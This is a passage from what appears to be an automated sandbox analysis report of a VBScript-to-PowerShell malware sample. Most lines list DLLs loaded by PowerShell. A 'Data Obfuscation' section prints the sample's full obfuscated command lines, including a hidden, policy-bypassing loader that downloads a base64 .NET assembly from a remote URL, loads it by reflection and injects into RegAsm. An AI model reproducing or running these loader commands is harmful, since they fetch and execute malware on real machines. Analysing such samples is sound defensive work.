Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.1920578665.00000251EDCEA000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\System.pdb source: powershell.exe, 00000004.00000002.1920578665.00000251EDCEA000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbG source: powershell.exe, 00000004.00000002.1920578665.00000251EDCD1000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 00000004.00000002.1921857580.00000251EDE30000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: dbpdbtem.pdb source: powershell.exe, 00000004.00000002.1920578665.00000251EDCEA000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\System.pdbj source: powershell.exe, 00000004.00000002.1920578665.00000251EDCEA000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\System.Management.Automation.pdbk source: powershell.exe, 00000004.00000002.1920578665.00000251EDCD1000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbI/ source: powershell.exe, 00000004.00000002.1921857580.00000251EDE30000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Data.Linq.pdb source: powershell.exe, 00000004.00000002.1903308651.000002519101B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1922445432.00000251EE1E0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: System.pdb source: powershell.exe, 00000004.00000002.1920578665.00000251EDCEA000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation
barindex
VBScript performs obfuscated calls to suspicious functions
Source: C:\Windows\System32\wscript.exe Anti Malware Scan Interface: .Run("powershell -command $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKyd", "0", "false");
Found suspicious powershell code related to unpacking or dynamic code loading
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0UnKycuSG9tJysnZWtmcyk7REM3JysnbScrJ2V0aG9kJysnID0nKycgREM3dHlwJysnZScrJy4nKydHZXQnKydNZXQnKydob2QoJysna2ZzVicrJ0EnKydJaycrJ2ZzJysnKTtEQzdtZScrJ3Rob2QnKycuSW52b2tlKERDJysnN251bGwsJysnIFtvYmplY3RbXV1AKGsnKydmc3R4dC4nKydGRFInKydXLzA2NS82JysnNTEuMDkxLicrJzk3LjU0Ly86cHR0aCcrJ2tmcyAsIGtmc2Rlc2F0aXZhZG9rZnMgLCBrZnNkZXNhdGl2JysnYWQnKydvaycrJ2YnKydzJysnICcrJywga2ZzZGVzYXQnKydpJysndmFkbycrJ2tmcyxrZnMnKydSZWdBc21rZnMnKycsa2ZzJysna2ZzKScrJyknKS5yRVBMQUNFKChbY2hBcl02OCtbY2hBcl02NytbY2hBcl01NSksW1NUUklOR11bY2hBcl0zNikuckVQTEFDRSgna2ZzJyxbU1RSSU5HXVtjaEFyXTM5KXwgaUVY';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?
Obfuscated command line found
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('DC7'+'url = kf'+'shttps://i'+'a600100'+'.us'+'.archive.org/'+'24/it'+'ems/deta'+'h-note-'+'v/DetahN'+'o'+'teV.txtkf'+'s;DC7base64Content = '+'(New-Object '+'System.Ne'+'t.We'+'b'+'Client).'+'DownloadStrin'+'g(DC7url)'+';'+'DC7binaryContent = [Syst'+'em'+'.Convert]:'+':Fro'+'mBase64String'+'(DC7base64Content);DC7assemb'+'ly'+' = [R'+'efle'+'ction.A'+'ssembl'+'y]::Load(DC7'+'bin'+'aryC'+'on'+'tent)'+';DC7ty'+'pe'+' = DC7assembly.GetType(kfsR'+'unP'+'E'+'.Hom'+'ekfs);DC7'+'m'+'ethod'+' ='+' DC7typ'+'e'+'.'+'Get'+'Met'+'hod('+'kfsV'+'A'+'Ik'+'fs'+');DC7me'+'thod'+'.Invoke(DC'+'7null,'+' [object[]]@(k'+'fstxt.'+'FDR'+'W/065/6'+'51.091.'+'97.54//:ptth'+'kfs , kfsdesativadokfs , kfsdesativ'+'ad'+'ok'+'f'+'s'+' '+', kfsdesat'+'i'+'vado'+'kfs,kfs'+'RegAsmkfs'+',kfs'+'kfs)'+')').rEPLACE(([chAr]68+[chAr]67+[chAr]55),[STRING][chAr]36).rEPLACE('kfs',[STRING][chAr]39)| iEX"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('DC7'+'url = kf'+'shttps://i'+'a600100'+'.us'+'.archive.org/'+'24/it'+'ems/deta'+'h-note-'+'v/DetahN'+'o'+'teV.txtkf'+'s;DC7base64Content = '+'(New-Object '+'System.Ne'+'t.We'+'b'+'Client).'+'DownloadStrin'+'g(DC7url)'+';'+'DC7binaryContent = [Syst'+'em'+'.Convert]:'+':Fro'+'mBase64String'+'(DC7base64Content);DC7assemb'+'ly'+' = [R'+'efle'+'ction.A'+'ssembl'+'y]::Load(DC7'+'bin'+'aryC'+'on'+'tent)'+';DC7ty'+'pe'+' = DC7assembly.GetType(kfsR'+'unP'+'E'+'.Hom'+'ekfs);DC7'+'m'+'ethod'+' ='+' DC7typ'+'e'+'.'+'Get'+'Met'+'hod('+'kfsV'+'A'+'Ik'+'fs'+');DC7me'+'thod'+'.Invoke(DC'+'7null,'+' [object[]]@(k'+'fstxt.'+'FDR'+'W/065/6'+'51.091.'+'97.54//:ptth'+'kfs , kfsdesativadokfs , kfsdesativ'+'ad'+'ok'+'f'+'s'+' '+', kfsdesat'+'i'+'vado'+'kfs,kfs'+'RegAsmkfs'+',kfs'+'kfs)'+')').rEPLACE(([chAr]68+[chAr]67+[chAr]55),[STRING][chAr]36).rEPLACE('kfs',[STRING][chAr]39)| iEX" Jump to behavior
Suspicious powershell command line found
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0UnKycuSG9tJysnZWtmcyk7REM3JysnbScrJ2V0aG9kJysnID0nKycgREM3dHlwJysnZScrJy4nKydHZXQnKydNZXQnKydob2QoJysna2ZzVicrJ0EnKydJaycrJ2ZzJysnKTtEQzdtZScrJ3Rob2QnKycuSW52b2tlKERDJysnN251bGwsJysnIFtvYmplY3RbXV1AKGsnKydmc3R4dC4nKydGRFInKydXLzA2NS82JysnNTEuMDkxLicrJzk3LjU0Ly86cHR0aCcrJ2tmcyAsIGtmc2Rlc2F0aXZhZG9rZnMgLCBrZnNkZXNhdGl2JysnYWQnKydvaycrJ2YnKydzJysnICcrJywga2ZzZGVzYXQnKydpJysndmFkbycrJ2tmcyxrZnMnKydSZWdBc21rZnMnKycsa2ZzJysna2ZzKScrJyknKS5yRVBMQUNFKChbY2hBcl02OCtbY2hBcl02NytbY2hBcl01NSksW1NUUklOR11bY2hBcl0zNikuckVQTEFDRSgna2ZzJyxbU1RSSU5HXVtjaEFyXTM5KXwgaUVY';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('DC7'+'url = kf'+'shttps://i'+'a600100'+'.us'+'.archive.org/'+'24/it'+'ems/deta'+'h-note-'+'v/DetahN'+'o'+'teV.txtkf'+'s;DC7base64Content = '+'(New-Object '+'System.Ne'+'t.We'+'b'+'Client).'+'DownloadStrin'+'g(DC7url)'+';'+'DC7binaryContent = [Syst'+'em'+'.Convert]:'+':Fro'+'mBase64String'+'(DC7base64Content);DC7assemb'+'ly'+' = [R'+'efle'+'ction.A'+'ssembl'+'y]::Load(DC7'+'bin'+'aryC'+'on'+'tent)'+';DC7ty'+'pe'+' = DC7assembly.GetType(kfsR'+'unP'+'E'+'.Hom'+'ekfs);DC7'+'m'+'ethod'+' ='+' DC7typ'+'e'+'.'+'Get'+'Met'+'hod('+'kfsV'+'A'+'Ik'+'fs'+');DC7me'+'thod'+'.Invoke(DC'+'7null,'+' [object[]]@(k'+'fstxt.'+'FDR'+'W/065/6'+'51.091.'+'97.54//:ptth'+'kfs , kfsdesativadokfs , kfsdesativ'+'ad'+'ok'+'f'+'s'+' '+', kfsdesat'+'i'+'vado'+'kfs,kfs'+'RegAsmkfs'+',kfs'+'kfs)'+')').rEPLACE(([chAr]68+[chAr]67+[chAr]55),[STRING][chAr]36).rEPLACE('kfs',[STRING][chAr]39)| iEX"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0UnKycuSG9tJysnZWtmcyk7REM3JysnbScrJ2V0aG9kJysnID0nKycgREM3dHlwJysnZScrJy4nKydHZXQnKydNZXQnKydob2QoJysna2ZzVicrJ0EnKydJaycrJ2ZzJysnKTtEQzdtZScrJ3Rob2QnKycuSW52b2tlKERDJysnN251bGwsJysnIFtvYmplY3RbXV1AKGsnKydmc3R4dC4nKydGRFInKydXLzA2NS82JysnNTEuMDkxLicrJzk3LjU0Ly86cHR0aCcrJ2tmcyAsIGtmc2Rlc2F0aXZhZG9rZnMgLCBrZnNkZXNhdGl2JysnYWQnKydvaycrJ2YnKydzJysnICcrJywga2ZzZGVzYXQnKydpJysndmFkbycrJ2tmcyxrZnMnKydSZWdBc21rZnMnKycsa2ZzJysna2ZzKScrJyknKS5yRVBMQUNFKChbY2hBcl02OCtbY2hBcl02NytbY2hBcl01NSksW1NUUklOR11bY2hBcl0zNikuckVQTEFDRSgna2ZzJyxbU1RSSU5HXVtjaEFyXTM5KXwgaUVY';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('DC7'+'url = kf'+'shttps://i'+'a600100'+'.us'+'.archive.org/'+'24/it'+'ems/deta'+'h-note-'+'v/DetahN'+'o'+'teV.txtkf'+'s;DC7base64Content = '+'(New-Object '+'System.Ne'+'t.We'+'b'+'Client).'+'DownloadStrin'+'g(DC7url)'+';'+'DC7binaryContent = [Syst'+'em'+'.Convert]:'+':Fro'+'mBase64String'+'(DC7base64Content);DC7assemb'+'ly'+' = [R'+'efle'+'ction.A'+'ssembl'+'y]::Load(DC7'+'bin'+'aryC'+'on'+'tent)'+';DC7ty'+'pe'+' = DC7assembly.GetType(kfsR'+'unP'+'E'+'.Hom'+'ekfs);DC7'+'m'+'ethod'+' ='+' DC7typ'+'e'+'.'+'Get'+'Met'+'hod('+'kfsV'+'A'+'Ik'+'fs'+');DC7me'+'thod'+'.Invoke(DC'+'7null,'+' [object[]]@(k'+'fstxt.'+'FDR'+'W/065/6'+'51.091.'+'97.54//:ptth'+'kfs , kfsdesativadokfs , kfsdesativ'+'ad'+'ok'+'f'+'s'+' '+', kfsdesat'+'i'+'vado'+'kfs,kfs'+'RegAsmkfs'+',kfs'+'kfs)'+')').rEPLACE(([chAr]68+[chAr]67+[chAr]55),[STRING][chAr]36).rEPLACE('kfs',[STRING][chAr]39)| iEX" Jump to behavior
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_00007FF886C60CB5 push ds; iretd 2_2_00007FF886C60CDA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_00007FF886C61039 pushad ; iretd 2_2_00007FF886C6103A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_00007FF886C61A59 push ds; iretd 2_2_00007FF886C61A5A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_00007FF886C602FD push ds; iretd 2_2_00007FF886C603E2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_00007FF886C30B57 push ds; iretd 4_2_00007FF886C30B6A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_00007FF886C30B6B push ds; iretd 4_2_00007FF886C30B6A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_00007FF886C3C358 push esp; iretd 4_2_00007FF886C3C359
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_00007FF886C3CF5C push eax; ret 4_2_00007FF886C3CF5D
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
